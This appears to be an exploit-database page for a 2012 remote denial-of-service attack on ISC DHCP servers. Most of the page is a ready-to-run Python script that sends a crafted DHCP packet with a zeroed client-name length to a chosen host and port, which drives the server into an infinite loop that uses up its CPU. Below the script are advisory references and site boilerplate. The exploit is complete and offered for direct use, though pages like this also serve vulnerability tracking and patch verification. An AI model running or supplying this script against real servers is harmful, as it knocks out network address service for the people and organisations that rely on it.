SC DHCP 4.2.4, 4.1-ESV-R6 remote denial of service

2012.07.29
Credit: k1p0d
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python ''' SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of service(infinite loop and CPU consumption/chew) via zero'ed client name length http://www.k1p0d.com ''' import socket import getopt from sys import argv def main(): args = argv[1:] try: args, useless = getopt.getopt(args, 'p:h:') args = dict(args) args['-p'] args['-h'] except: usage(argv[0]) exit(-1) dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x22\x5f\xae' '\xa7\xdf\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x63\x82\x53\x63' '\x35\x01\x03\x32\x04\x0a\x00\x00' '\x01\x0c\x00' '\x37\x0d\x01\x1c\x02\x03\x0f' '\x06\x77\x0c\x2c\x2f\x1a\x79\x2a' '\xff\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect((args['-h'], int(args['-p']))) sock.sendall(dhcp_req_packet) print 'Packet sent' sock.close() def usage(pyname): print ''' Usage: %s -h <host> -p <port> ''' % pyname if __name__ == "__main__": main()

References:

http://www.k1p0d.com
https://kb.isc.org/article/AA-00712


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top